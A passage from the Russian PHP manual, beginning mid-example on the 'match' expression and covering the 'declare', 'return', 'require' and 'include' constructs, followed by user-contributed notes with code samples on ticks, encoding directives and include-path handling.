$condition = 5;

try {
match ($condition) {
1, 2 => foo(),
3, 4 => bar(),
};
} catch (\UnhandledMatchError $e) {
var_dump($e);
}
?>

Результат выполнения данного примера:

object(UnhandledMatchError)#1 (7) {
  ["message":protected]=>
  string(33) "Unhandled match value of type int"
  ["string":"Error":private]=>
  string(0) ""
  ["code":protected]=>
  int(0)
  ["file":protected]=>
  string(9) "/in/ICgGK"
  ["line":protected]=>
  int(6)
  ["trace":"Error":private]=>
  array(0) {
  }
  ["previous":"Error":private]=>
  NULL
}

Использование match для проверки сложных условий

Выражение match можно использовать не только для проверки идентичности, но и для любых выражений, возвращающих логическое значение. В этом случае в качестве входного параметра передаётся выражение true.

Пример #4 Использование match для ветвления в зависимости от вхождения в диапазоны целых чисел

<?php

$age = 23;

$result = match (true) {
$age >= 65 => 'пожилой',
$age >= 25 => 'взрослый',
$age >= 18 => 'совершеннолетний',
default => 'ребёнок',
};

var_dump($result);
?>

Результат выполнения данного примера:

string(11) "совершеннолетний"

Пример #5 Использование match для ветвления в зависимости от содержимого строки

<?php

$text = 'Bienvenue chez nous';

$result = match (true) {
str_contains($text, 'Welcome') || str_contains($text, 'Hello') => 'en',
str_contains($text, 'Bienvenue') || str_contains($text, 'Bonjour') => 'fr',
// ...
};

var_dump($result);
?>

Результат выполнения данного примера:

string(2) "fr"

User Contributed Notes

thomas at zuschneid dot de 27-Feb-2023 03:04
While match allows chaining multiple conditions with ",", like:
<?php
$result = match ($source) {
    cond1, cond2 => val1,
    default => val2
};
?>
it seems not valid to chain conditions with default, like:
<?php
$result = match ($source) {
    cond1 => val1,
    cond2, default => val2
};
?>
Sbastien 12-Feb-2023 02:46
I use match instead of storing PDOStatement::rowCount() result and chaining if/elseif conditions or use the ugly switch/break :

<?php

$sql = <<<SQL
    INSERT INTO ...
    ON DUPLICATE KEY UPDATE ...
    SQL;

$upkeep = $pdo->prepare($sql);

$count_untouched = 0;
$count_inserted = 0;
$count_updated = 0;

foreach ($data as $record) {
    $upkeep->execute($record);
    match ($upkeep->rowCount()) {
        0 => $count_untouched++,
        1 => $count_inserted++,
        2 => $count_updated++,
    };
}

echo "Untouched rows : {$count_untouched}\r\n";
echo "Inserted rows : {$count_inserted}\r\n";
echo "Updated rows : {$count_updated}\r\n";
php at joren dot dev 11-Mar-2022 11:27
If you want to execute multiple return expressions when matching a conditional expression, you can do so by stating all return expressions inside an array.

<?php
    $countries = ['Belgium', 'Netherlands'];
    $spoken_languages = [
        'Dutch' => false,
        'French' => false,
        'German' => false,
        'English' => false,
    ];

    foreach ($countries as $country) {
        match($country) {
            'Belgium' => [
                $spoken_languages['Dutch'] = true,
                $spoken_languages['French'] = true,
                $spoken_languages['German'] = true,
            ],
            'Netherlands' => $spoken_languages['Dutch'] = true,
            'Germany' => $spoken_languages['German'] = true,
            'United Kingdom' => $spoken_languages['English'] = true,
        };
    }

    var_export($spoken_languages);
    // array ( 'Dutch' => true, 'French' => true, 'German' => true, 'English' => false, )

?>
mark at manngo dot net 12-Feb-2022 06:08
While you can't polyfill a language construct, you can mimic the basic behaviour with a simple array.

Using example 2 above:

<?php
    $food = 'apple';
    $return_value = match ($food) {
        'apple' => 'This food is an apple',
        'bar' => 'This food is a bar',
        'cake' => 'This food is a cake',
    };
    print $return_value;
?>

... you can get something similar with:

<?php
    $food = 'apple';
    $return_value = [
        'apple' => 'This food is an apple',
        'bar' => 'This food is a bar',
        'cake' => 'This food is a cake',
    ][$food];
    print $return_value;
?>
manoj904378 at gmail dot com 24-Dec-2021 09:32
When & Where should you use?  that's most important part of match

<?php
    $Error_Code=(int) 400;
    $message=(string) match($Error_Code){
        200=>"OK",
        400=>"Bad Request",
        401=>"Unauthorized",
        403=>"Forbidden",
        404=>"Not Found",
        default=>"Unknown Error"
    };
    var_dump($message); // string(11) "Bad Request"
?>
tm 28-Oct-2021 03:02
If you are using a match expression for non-identity checks as described above make sure whatever you are using is actually returning `true` on success.

Quite often you rely on truthy vs. falsy when using if conditions and that will not work for match (for example `preg_match`). Casting to bool will solve this issue.
Anonymous 06-Sep-2021 10:37
<?php
function days_in_month(string $month, $year): int
{
    return match(strtolower(substr($month, 0, 3))) {
        'jan' => 31,
        'feb' => is_leap($year) ? 29 : 28,
        'mar' => 31,
        'apr' => 30,
        'may' => 31,
        'jun' => 30,
        'jul' => 31,
        'aug' => 31,
        'sep' => 30,
        'oct' => 31,
        'nov' => 30,
        'dec' => 31,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>

can be more concisely written as

<?php
function days_in_month(string $month, $year): int
{
    return match(strtolower(substr($month, 0, 3))) {
        'apr', 'jun', 'sep',  'nov'  => 30,
        'jan', 'mar', 'may', 'jul', 'aug',  'oct', 'dec'  => 31,
        'feb' => is_leap($year) ? 29 : 28,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>
darius dot restivan at gmail dot com 05-Apr-2021 09:43
This will allow for a nicer FizzBuzz solution:

<?php

function fizzbuzz($num) {
    print match (0) {
        $num % 15 => "FizzBuzz" . PHP_EOL,
        $num % 3  => "Fizz" . PHP_EOL,
        $num % 5  => "Buzz" . PHP_EOL,
        default   => $num . PHP_EOL,
    };
}

for ($i = 0; $i <=100; $i++)
{
    fizzbuzz($i);
}
Hayley Watson 09-Dec-2020 12:50
As well as being similar to a switch, match expressions can be thought of as enhanced lookup tables — for when a simple array lookup isn't enough without extra handling of edge cases, but a full switch statement would be overweight.

For a familiar example, the following
<?php

function days_in_month(string $month): int
{
    static $lookup = [
    'jan' => 31,
    'feb' => 0,
    'mar' => 31,
    'apr' => 30,
    'may' => 31,
    'jun' => 30,
    'jul' => 31,
    'aug' => 31,
    'sep' => 30,
    'oct' => 31,
    'nov' => 30,
    'dec' => 31
    ];

    $name = strtolower(substr($name, 0, 3));

    if(isset($lookup[$name])) {
        if($name == 'feb') {
            return is_leap($year) ? 29 : 28;
        } else {
            return $lookup[$name];
        }
    }
    throw new InvalidArgumentException("Bogus month");
}

?>

with the fiddly stuff at the end, can be replaced by

<?php
function days_in_month(string $month): int
{
    return match(strtolower(substr($month, 0, 3))) {
        'jan' => 31,
        'feb' => is_leap($year) ? 29 : 28,
        'mar' => 31,
        'apr' => 30,
        'may' => 31,
        'jun' => 30,
        'jul' => 31,
        'aug' => 31,
        'sep' => 30,
        'oct' => 31,
        'nov' => 30,
        'dec' => 31,
        default => throw new InvalidArgumentException("Bogus month"),
    };
}
?>

Which also takes advantage of "throw" being handled as of PHP 8.0 as an expression instead of a statement.


declare

(PHP 4, PHP 5, PHP 7, PHP 8)

Конструкция declare используется для установки директив исполнения для блока кода. Синтаксис declare аналогичен с синтаксисом других конструкций управления выполнением:

declare (directive)
    statement

Секция directive позволяет установить поведение блока declare. В настоящее время распознаются только три директивы: директива ticks (Дополнительная информация о директиве ticks доступна ниже), директива encoding (Дополнительная информация о директиве encoding доступна ниже) и директива strict_types (подробности в разделе про строгую типизацию на странице аргументов функции)

Поскольку директивы обрабатываются при компиляции файла, то только символьные данные могут использоваться как значения директивы. Нельзя использовать переменные и константы. Пример:

<?php
// Правильно:
declare(ticks=1);

// Недопустимо:
const TICK_VALUE = 1;
declare(ticks=TICK_VALUE);
?>

Часть statement блока declare будет выполнена — как выполняется и какие побочные эффекты возникают во время выполнения, может зависеть от директивы, которая установлена в блоке directive.

Конструкция declare также может быть использована в глобальной области видимости, влияя на весь следующий за ней код (однако, если файл с declare был включён, то она не будет действовать на родительский файл).

<?php
// это то же самое:

// можно так:
declare(ticks=1) {
// прочие действия
}

// или так:
declare(ticks=1);
// прочие действия
?>

Тики

Тик - это событие, которое случается каждые N низкоуровневых операций, выполненных парсером внутри блока declare. Значение N задаётся, используя ticks=N внутри секции directive блока declare.

Не все выражения подсчитываются. Обычно, условные выражения и выражения аргументов не подсчитываются.

Событие (или несколько событий), которое возникает на каждом тике определяется, используя register_tick_function(). Смотрите пример ниже для дополнительной информации. Имейте в виду, что для одного тика может возникать несколько событий.

Пример #1 Пример использования тика

<?php

declare(ticks=1);

// Функция, исполняемая при каждом тике
function tick_handler()
{
echo "Вызывается tick_handler()\n";
}

register_tick_function('tick_handler'); // вызывает событие тика

$a = 1; // вызывает событие тика

if ($a > 0) {
$a += 2; // вызывает событие тика
print $a; // вызывает событие тика
}

?>

Смотрите также register_tick_function() и unregister_tick_function().

Кодировка

Кодировка скрипта может быть указана для каждого скрипта, используя директиву encoding.

Пример #2 Определение кодировки для скрипта.

<?php
declare(encoding='ISO-8859-1');
// прочий код
?>

Предостережение

В сочетании с пространством имён единственно допустимый синтаксис для declare является declare(encoding='...'); где ... это значение кодировки. declare(encoding='...') {} приведёт к ошибке парсера, если используется вместе с пространством имён.

Смотрите также zend.script_encoding.

User Contributed Notes

dewi at dewimorgan dot com 15-Nov-2021 05:00
While you cannot conditionally declare ticks in a single source file, as the `declare()` is processed even within the branch of an `if()` that does not run, you can work around this by placing it within a separate file, and conditionally including that file, like so:

<?php
if (function_exists('pcntl_async_signals')) {
    pcntl_async_signals(true);
} else {
    require_once('declareTicks.php');
}
?>

Then in `declareTicks.php` you'd have just:

<?php
    declare(ticks=1);
?>

This allows you to avoid the performance impact of a low tick value in systems which support `pcntl_async_signals()`.
ohcc at 163 dot com 30-Dec-2019 04:59
It's possible to set directives at one time if every directive is supported.
<?php
    declare(strict_types=1, encoding='UTF-8');
?>
digitalaudiorock at gmail dot com 10-Mar-2019 09:10
Regarding my previous comment as to the change in scope of declare(ticks=1) between 5.6 and 7.x, I intended to mention another example of the affect this can have on signal handlers:

If your script uses declare(ticks=1) and assigns handlers, in 5.6 signals will get caught and call the handler even when the code that is running is in an included file (where the included file doesn't have the declaration). However in 7.x the signal wouldn't get caught until the code returns to the main script.

The best solution to that is to use pcntl_async_signals(true) when it's available, which will allow the signals to get caught regardless of what file the code happens to be in.
digitalaudiorock at gmail dot com 09-Mar-2019 09:14
A few important things to note for anyone using this in conjunction with signal handlers:

If anyone is trying to optionally use either pcntl_async_signals() when available (PHP >= 7.1) or ticks for older versions, this is not possible...at least not in a way that does NOT enable ticks for newer PHP versions. This is because there is simply no way to conditionally declare ticks. For example, the following will "work" but not in the way you might expect:

<?php
if (function_exists('pcntl_async_signals')) {
    pcntl_async_signals(true);
} else {
    declare(ticks=1);
}
?>

While signal handlers will work with this for old and new version, ticks WILL be enabled even in the case where pcntl_async_signals exists, simply because the declare statement exists. So the above is functionally equivalent to:

<?php
if (function_exists('pcntl_async_signals')) pcntl_async_signals(true);
declare(ticks=1);
?>

Another thing to be aware of is that the scoping of this declaration changed a bit from PHP 5.6 to 7.x...actually it was corrected apparently as noted here:

http://php.net/manual/en/function.register-tick-function.php#121204

This can cause some very confusing behavior. One example is with the pear/System_Daemon module. With PHP 5.6 that will work with a SIGTERM handler even if the script using it doesn't itself use declare(ticks=1), but does not work in PHP 7 unless the script itself has the declaration. Not only does the handler not get called, but the signal does nothing at all, and the script doesn't exit.

A side note regarding ticks that's annoyed me for some time: As if there wasn't enough confusion around all this, the Internet is full of false rumors that ticks were deprecated and are being removed, and I believe they all started here:

http://www.hackingwithphp.com/4/21/0/the-declare-function-and-ticks

Despite a very obscure author's note at the very end of the page saying he got that wrong (that even I just noticed), the first very prominent sentence of the article still says this, and that page is near the top of any Google search.
ohcc at 163 dot com 27-May-2018 02:54
Using a directive that is not supported by current version of PHP will generate a warning like:

Warning: Unsupported declare 'strict_types' in D:\Server\wuxiancheng.cn\index.php on line 2

You CAN'T prepend an @ sign to the declare construct to supress that error message.

@declare(strict_types=1);

The above code will lead to a Parse error like:

Parse error: syntax error, unexpected 'declare' (T_DECLARE) in D:\Server\wuxiancheng.cn\index.php on line 2
ja2016 at wir dot pl 27-Aug-2017 04:38
Don't use uft-8 encoding with BOM. Then fatal error occurs ALWAYS. Substitute it with utf-8 without BOM.

---

*BOM*
<?php
declare(strict_types=1);
//Fatal error: strict_types declaration must be the very first statement in the script
wapmorgan at gmail dot com 01-Aug-2017 08:49
If you fork'ed (with pcntl_fork) after you've used `declare`, you need to do it again in child thread.

declare(ticks=1);
$pid = pcntl_fork();
if ($pid === 0) {
    declare(ticks=1);
} else {
    // code ..
}
Ionut 10-Feb-2017 06:36
I haven't found this written in the doc: when using declare in the global context, it has to be the first statement in the script, before any other output.

This works:

<?php
declare(strict_types=1);
function sum(int $a, int $b): int {
    return 5.78;
}
# ... but fails when calling the function
?>

This doesn't work:

<html>
<body>
<?php
declare(strict_types=1);
function sum(int $a, int $b): int {
    return 5.78;
}
# PHP Fatal error:  strict_types declaration must be the very first statement in the script [...]
?>
Kubo2 06-Apr-2015 05:13
Note that in PHP 7 <?php declare(encoding='...'); ?> throws an E_WARNING if Zend Multibyte is turned off.
php at niekbosch dot nl 18-Feb-2014 04:17
Basically 'declare( encoding = .... );' overrides the zend.script_encoding configuration option (as set in php.ini). However, keep in mind that:

* the file encoding must be compatible (at least in the ASCII range of characters) to the zend.script_encoding setting. If you set 'zend.script_encoding' to UTF-8 and save the file in UTF-16, PHP will not be able to interpret the file, let alone the declare statement. As long as you use ASCII compatible encodings (i.e. ISO-8859-1(5), UTF-8 etc) for both the file encoding as the zend.script_encoding, you should be fine. (However, I have not experimented with adding non-ascii characters in comments above the declare statement).

* PHP string literals are converted from your source code encoding (either set with the declare statement or else according to zend.script_encoding) to the mbstring.internal_encoding as set in your php.ini (even if you change the setting using mb_internal_encoding). As an example:

php.ini:
mbstring.internal_encoding = UTF-8

test.php:
<?php
declare(encoding = 'ISO-8859-15');
mb_internal_encoding( 'ISO-8859-15' );
echo 'aaa?' . "\n";
?>

This will still output the string UTF-8 encoded; in a terminal/browser with encoding 'ISO-8859-15' the string will look (something) like this: aA€aA?
php dot net at e-z dot name 17-Oct-2013 06:34
you can register multiple tick functions:

<?PHP
function a() { echo "a\n"; }
function b() { echo "b\n"; }

register_tick_function('a');
register_tick_function('b');
register_tick_function('b');
register_tick_function('b');

?>

will output on every tick:
a
b
b
b
sawyerrken at gmail dot com 09-Aug-2013 06:31
In the following example:

<?php
function handler(){
    print "hello <br />";
}

register_tick_function("handler");

declare(ticks = 1){
    $b = 2;
} //closing curly bracket tickable
?>

"Hello" will be displayed twice because the closing curly bracket is also tickable.

One may wonder why the opening curly bracket is not tickable if the closing is tickable. This is because the instruction for PHP to start ticking is given by the opening curly bracket so the ticking starts immediately after it.
Anonymous 27-Sep-2010 02:10
It's amazing how many people didn't grasp the concept here. Note the wording in the documentation. It states that the tick handler is called every n native execution cycles. That means native instructions, not including system calls (i'm guessing). This can give you a very good idea if you need to optimize a particular part of your script, since you can measure quite effectively how many native instructions are in your actual code.

A good profiler would take that into account, and force you, the developer, to include calls to the profiler as you're entering and leaving every function. That way you'd be able to keep an eye on how many cycles it took each function to complete. Independent of time.

That is extremely powerful, and not to be underestimated. A good solution would allow aggregate stats, so the total time in a function would be counted, including inside called functions.
markandrewslade at dontspamemeat dot gmail 13-Feb-2009 09:06
Note that the two methods for calling declare are not identical.

Method 1:

<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 1
declare(ticks=1);
while(1) sleep(1);

/* Output:
[1234544435.7160] Tick.--start--
[1234544435.7161] Tick.
[1234544435.7162] Tick.
[1234544436.7163] Tick.
[1234544437.7166] Tick.
*/

?>

Method 2:
<?php
// Print "tick" with a timestamp and optional suffix.
function do_tick($str = '') {
    list($sec, $usec) = explode(' ', microtime());
    printf("[%.4f] Tick.%s\n", $sec + $usec, $str);
}
register_tick_function('do_tick');

// Tick once before declaring so we have a point of reference.
do_tick('--start--');

// Method 2
declare(ticks=1) {
    while(1) sleep(1);
}

/* Output:
[1234544471.6486] Tick.--start--
[1234544472.6489] Tick.
[1234544473.6490] Tick.
[1234544474.6492] Tick.
[1234544475.6493] Tick.
*/
?>

Notice that when using {} after declare, do_tick wasn't auto-called until about 1 second after we entered the declare {} block.  However when not using the {}, do_tick was auto-called not once but twice immediately after calling declare();.

I'm assuming this is due to how PHP handles ticking internally.  That is, declare() without the {} seems to trigger more low-level instructions which in turn fires tick a few times (if ticks=1) in the act of declaring.
aeolianmeson at NOSPAM dot blitzeclipse dot com 30-May-2006 12:06
The scope of the declare() call if used without a block is a little unpredictable, in my experience. It appears that if placed in a method or function, it may not apply to the calls that ensue, like the following:

<?php
function a()
{
   declare(ticks=2);
   b();
}

function b()
{
   // The declare may not apply here, sometimes.
}
?>

So, if all of a sudden the signals are getting ignored, check this. At the risk of losing the ability to make a mathematical science out of placing a number of activities at varying durations of ticks like many people have chosen to do, I've found it simple to just put this at the top of the code, and just make it global.
fok at nho dot com dot br 07-Jul-2003 06:45
This is a very simple example using ticks to execute a external script to show rx/tx data from the server

<?php

function traf(){
  passthru( './traf.sh' );
  echo "<br />\n";
  flush(); // keeps it flowing to the browser...
  sleep( 1 );
}

register_tick_function( "traf" );

declare( ticks=1 ){
  while( true ){}   // to keep it running...
}

?>

contents of traf.sh:
# Shows TX/RX for eth0 over 1sec
#!/bin/bash

TX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX1=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`
sleep 1
TX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $9}'`
RX2=`cat /proc/net/dev | grep "eth0" | cut -d: -f2 | awk '{print $1}'`

echo -e "TX: $[ $TX2 - $TX1 ] bytes/s \t RX: $[ $RX2 - $RX1 ] bytes/s"
#--= the end. =--


return

(PHP 4, PHP 5, PHP 7, PHP 8)

return возвращает управление программой модулю, из которого была вызвана функция. Выполнение программы продолжается с инструкции, следующей за местом вызова.

Если вызывается из функции, выражение return немедленно прекращает выполнение текущей функции и возвращает свой аргумент как значение данной функции. return также завершит выполнение выражения eval() или всего файла скрипта.

Если вызывается из глобальной области видимости, выполнение текущего файла скрипта прекращается. Если текущий файл скрипта был подключён с помощью функций include или require, тогда управление возвращается к файлу, который вызывал текущий. Более того, если текущий файл скрипта был подключён с помощью include, тогда значение переданное return будет возвращено в качестве значения вызова include. Если return вызывается из главного файла скрипта, тогда выполнение скрипта прекращается. Если текущий файл скрипта был вызван конфигурационными опциями auto_prepend_file или auto_append_file из файла настроек php.ini, тогда выполнение этого скрипта прекращается.

Для более детальной информации смотрите раздел Возвращаемые значения.

Замечание: Заметьте, что return является языковой конструкцией, а не функцией и круглые скобки, окружающие аргументы, не являются необходимостью. Мало того, они тут не приветствуются.

Замечание: Если параметры не указаны, тогда круглые скобки должны быть опущены и будет возвращён null. Вызов return со скобками, но без аргументов вызовет синтаксическую ошибку.

Начиная с PHP 7.1.0, операторы возврата без аргумента в функциях, объявляющих тип возврата, вызывают E_COMPILE_ERROR, если только тип возврата не void, в этом случае такую же ошибку вызывают операторы возврата с аргументом.

User Contributed Notes

J.D. Grimes 25-Jun-2013 08:11
Note that because PHP processes the file before running it, any functions defined in an included file will still be available, even if the file is not executed.

Example:

a.php
<?php
include 'b.php';

foo();
?>

b.php
<?php
return;

function foo() {
     echo 'foo';
}
?>

Executing a.php will output "foo".
warhog at warhog dot net 18-Dec-2005 12:28
for those of you who think that using return in a script is the same as using exit note that: using return just exits the execution of the current script, exit the whole execution.

look at that example:

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
return;
?>

(executing a.php:) will echo "ba".

whereas (b.php modified):

a.php
<?php
include("b.php");
echo "a";
?>

b.php
<?php
echo "b";
exit;
?>

(executing a.php:) will echo "b".


require

(PHP 4, PHP 5, PHP 7, PHP 8)

require аналогично include, за исключением того, что в случае возникновения ошибки он также выдаст фатальную ошибку уровня E_COMPILE_ERROR. Другими словами, он остановит выполнение скрипта, тогда как include только выдал бы предупреждение E_WARNING, которое позволило бы скрипту продолжить выполнение.

Смотрите документацию по include, чтобы узнать как он работает.

User Contributed Notes

osheros at hotmail dot com 25-Aug-2022 10:34
When using an include file to define one or more global variables (to avoid having to redefine them in multiple files), make sure you're referencing the same variable.

[global.php]
   $app_dir = "/app/path/here";

[main.php]
include "global.php";

/* the following obviously won't work but hopefully I can save somebody else hours trying to figure out why their global include isn't working */

echo $app_folder;
Marcel Baur 27-Jul-2021 09:08
If your included file returns a value, you can get it as a result from require(), i.e.

foo.php:
<?php
return "foo";
?>

$bar = require("foo.php");
echo $bar; // equals to "foo"
phpDev a t eSurfers_dot_ com 25-Sep-2016 03:19
I didn't find mention that calling return from inside an required file is different than calling return from inside an included file.

return "aaa"; if called in the global scope of an included file will terminate the inclusion and return control to the main file givin "aaa" as a result of the include statement itself.

As far as I have tested (PHP 5.6.10) this does not apply to require
dank at kegel dot com 19-Jul-2015 05:46
PHP's require and include seem to differ from C's include in another way: they can't be used in the middle of an expression.  e.g.

$ more foo1.php foo2.php
::::::::::::::
foo1.php
::::::::::::::
<?php
print "hello"
.
#"there"
require 'foo2.php';
. "\n";
?>
::::::::::::::
foo2.php
::::::::::::::
"there"
$ php foo1.php
PHP Parse error:  syntax error, unexpected '.' in foo1.php on line 6

So php's include operates only on complete statements, whereas c's include operates on bytes of source code.
theunis dot botha1 at gmail dot com 11-Sep-2014 11:33
Just for those who may wonder about receiving E_WARNING (in custom error handlers) - PHP generates an E_WARNING when require or require_once fails - and before control returns to your script, it generates an E_COMPILE_ERROR.

So when require() or require_once() fails - don't be surprised to see two messages in your logs (if you have your logging setup this way) - once for the E_WARNING caught by your custom error handler, and once for getting the error from error_get_last() in your shutdown function (which is the actual E_COMPILE_ERROR you were expecting)
hans at ratzinger dot com 01-Sep-2013 05:25
Thanks a lot for this information Brian! This drove me nuts for many hours! This is the first information I found in the web that a white page can be caused by a require -> your script will die if the file is not found!!!
Wing 10-May-2010 05:04
if you want always include, require, open files using some 'root' folder based path you may may put file '.htroot' in 'root' folder and  use this.

while(!file_exists(getcwd()."/.htroot")){chdir('..');}

This code change current dir to dir where '.htroot' file located and everywhere you can use relative to 'root' paths.

Please avoid absent of '.htroot' file.
pedro dot evangelista at gmail dot com 16-Dec-2008 06:23
Be careful when using symbolic links, because require will search the real path of the file and not the path relative to the symbolic link.

Imagine your script A.php resides on directory /a and you create a symbolic link for it on directory /b/c.
So for the code

<?php
echo realpath("../");
?>

you might expect the directory /b, but actually you get the root directory /.

If you need to include the file /b/B.php inside your A.php, you can't use the following

<?php
require "../B.php";
?>

because it will search the root directory, not the /b directory.

Regards.
duccio at getlocal dot it 23-Nov-2008 01:37
In response to some dot user at notarealdomain dot com:

This is because require executes the code "as if" it was code written inside of the function, inheriting everything including the scope. But here there is something even more interesting:

<requiredfile.php>:
<?php

$this->a.=" is visible also under a require\n";
$b="While the variable b is a local variable of the function\n";
function FunctionUnderRequire() {
    echo "But the functions declared inside of a require called from a class function, just as when defined from inside any other function, are always global\n";
}
?>

<mainfile.php>:
<?php

error_reporting(E_ALL|E_STRICT);

class UserClass {

    protected $a;

    public function UserFunction() {
        $this->a='The class variable a';
        require 'requiredfile.php';
        echo $this->a; // "The class variable a  is visible also under a require\n"
        echo $this->b; // Notice: Undefined property: UserClass::$b
        echo $b; // "While the variable b is a local variable of the function\n"
        $this->FunctionUnderRequire(); //Fatal error!
        FunctionUnderRequire(); // "But the functions..."
    }
}

$UserClass=new UserClass;
$UserClass->UserFunction();
?>

I'm wondering if there is a method for declaring class public/private/protected functions from inside a require/include...
Peter McDonald 15-Oct-2007 09:21
re the comment by moazzamk at gmail dot com

As the manual states require and require_once as of PHP 4.02 no longer call the file if the line of code it is on should not be executed.
scott 20-Sep-2007 01:27
If you want to verify that a file can be included or required, the simplest solution I've found is just to check that the file exists.

<?php

    if(file_exists($pageContentInc)){
        require_once $pageContentInc;
    }else{
        $pageContentInc = "common/content_404.inc";
        require_once $pageContentInc;
    }
?>

Does it really need to be any harder than that?
some dot user at notarealdomain dot com 11-Jul-2007 07:58
Discovered a bit of weird behavior yesterday involving require() (using PHP 5.2.3).  If you use require() inside a function, the "globals" in the file will be local to the function.  An example of this:

test.php:
<?php
  function TestFunc()
  {
    require('test2.php');
    echo "<pre>" . print_r($GLOBALS, true) . "</pre>";
  }
?>

test2.php:
<?php
  $MyTestGlobal = Array();
?>

This happens because require is a statement that _inlines_ the target code - not a function that gets called.

To fix this, use the $GLOBALS superglobal:

test2.php:
<?php
  $GLOBALS["MyTestGlobal"] = Array();
?>
chris at chrisstockton dot org 19-Jun-2007 05:06
Remember, when using require that it is a statement, not a function. It's not necessary to write:
<?php
 require('somefile.php');
?>

The following:
<?php
require 'somefile.php';
?>

Is preferred, it will prevent your peers from giving you a hard time and a trivial conversation about what require really is.
31-Jan-2007 03:38
A note that drove me nuts for 2 days!

Be carfull if you have a newline or blank space befor your php tags in the included/required file it will read as html and outputed.

If your running your output through javascript string evaluations which would be sensitive to newlines/white spaces be carfull that the first chars in the file are the php tages eg <?php
bmessenger at 3servicesolution dot com 17-Oct-2006 01:06
// Looks like I might have a fix for some on the
// relative path issue.

if (!function_exists('bugFixRequirePath'))
{
    function bugFixRequirePath($newPath)
    {
        $stringPath = dirname(__FILE__);
        if (strstr($stringPath,":")) $stringExplode = "\\";
        else $stringExplode = "/";

        $paths = explode($stringExplode,$stringPath);

        $newPaths = explode("/",$newPath);

        if (count($newPaths) > 0)
        {
            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") array_pop($paths);
            }

            for($i=0;$i<count($newPaths);$i++)
            {
                if ($newPaths[$i] == "..") unset($newPaths[$i]);
            }

            reset($newPaths);

            $stringNewPath = implode($stringExplode,$paths).
                $stringExplode.implode($stringExplode,$newPaths);

                return $stringNewPath;
        }
    }
}

require_once(bugFixRequirePath("../config.php"));
gabe at websaviour dot com 13-Jul-2006 05:42
If you are experiencing a bug related to using relative paths with include or require, it may be related to a grandparent directory that is executable but not readable.  It will cause __FILE__ to return a relative path instead of the full path which it is supposed to show.  This manifests itself in interesting ways that can be seemingly unrelated.  For instance, I discovered it using the Smarty {debug} command which failed to find its template due to this issue.  Please see the following for more details:

http://bugs.php.net/bug.php?id=34552
http://shiftmanager.net/~kurt/test/
Inc 31-May-2006 08:35
I have found a problem when I try to access a php file via require($class_directory)

// # $class_directory contain a long full path and dot into the last folder.
// # $class_directory = "/var/.../app/system/plugintoto_1.0/class_plugintoto_1.0.php";

// dot ('.') and minus ('-') are not accepted in require !
tjeerd 11-May-2006 06:41
When using symbolic links with PHP, specify a dotslash './page.php' path to ensure that PHP is looking in the right directory with nested requires:

E.g. when the required actual page1.php contains other require statements to, say page2.php, PHP will search the path that the symbolic link points to, instead of the path where the symbolic link lives. To let PHP find the other page2.php in the path of the symbolic link, a require('./page2.php'); statement will solve the puzzle.
webmaster at netgeekz dot net 24-Feb-2006 09:34
I have learnt to manipulate this code into an effecitve and easy to use form. I use it with require_once, but it could be used for require.

require_once($_SERVER['DOCUMENT_ROOT'].'/includes/top.php');

This mainly jumps back to the servers document root and then begins to enter the directories defined until it finds the file. In this case it would go back to the root of the server, or whatever your document root is, and then enter includes. there it would search for the top.php file. Simple to use, yet effective...espcially for people like me who re-use code or move files to different directories. I don't have to fix the includes, because they all work the same way.
dave at davidhbrown dot us 22-Jan-2006 12:08
re: danielm at unb dot br...

$_SERVER['DOCUMENT_ROOT'] is very useful, but it is not available with all web servers. Apache has it; IIS doesn't.

I use the following to make my PHP applications work in more situations:
<?php
if (!defined("BASE_PATH")) define('BASE_PATH', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : substr($_SERVER['PATH_TRANSLATED'],0, -1*strlen($_SERVER['SCRIPT_NAME'])));
?>

...but even that gets tripped up by symlinks to different mount points, etc. You could substitute realpath($_SERVER['PATH_TRANSLATED']), but that function has been reported not to work on some (Windows) servers. One could use the PATH_TRANSLATED for both servers, but I figure if Apache is going to tell me exactly what I want to know, I should listen.
richardbrenner(-at- )gmx(-)at 07-Apr-2005 01:58
If you use relativ paths in a php script (file A) that can be required by another php script (file B), be aware that the relativ paths in file A will be relativ to the directory, where file B is stored.
You can use the following syntax in file A, to be sure that the paths are relativ to the directory of file A:

<?
require(dirname(__FILE__)."/path/relative/file_to_include.php");
?>

Greetings,
Richard
10-Feb-2005 10:29
Note when calling any require or include function, that the call will block if the script given as the parameter is excecuting.
Because of this one should be careful when using blocking functions like sleep() in a script which is included by another.
danielm at unb dot br 21-Nov-2004 11:50
if you want to include files with an absolut path reference, you can use:

require ($_SERVER["DOCUMENT_ROOT"]."/path/to/file.php");

this way you can organize your files in subdirectories trees.


include

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение include включает и выполняет указанный файл.

Документация ниже также относится к выражению require.

Файлы включаются исходя из пути указанного файла, или, если путь не указан, используется путь, указанный в директиве include_path. Если файл не найден в include_path, include попытается проверить директорию, в которой находится текущий включающий скрипт и текущую рабочую директорию перед тем, как выдать ошибку. Конструкция include выдаст E_WARNING, если не сможет найти файл; поведение отлично от require, который выдаст E_ERROR.

Обратите внимание, что и include и require выдают дополнительную ошибку уровня E_WARNING, если к файлу невозможно получить доступ, перед тем, как выдать последнюю ошибку уровня E_WARNING или E_ERROR соответственно.

Если путь указан — абсолютный (начинающийся с буквы диска или с \ в Windows или с / в Unix/Linux системах) или относительно текущей директории (начинающийся с . или ..) — include_path будет проигнорирован вообще. Например, если имя файла начинается с ../, парсер будет искать в родительской директории запрошенный файл.

Для дополнительной информации о том, как PHP обрабатывает включаемые файлы и включаемые пути, смотрите документацию для директивы include_path.

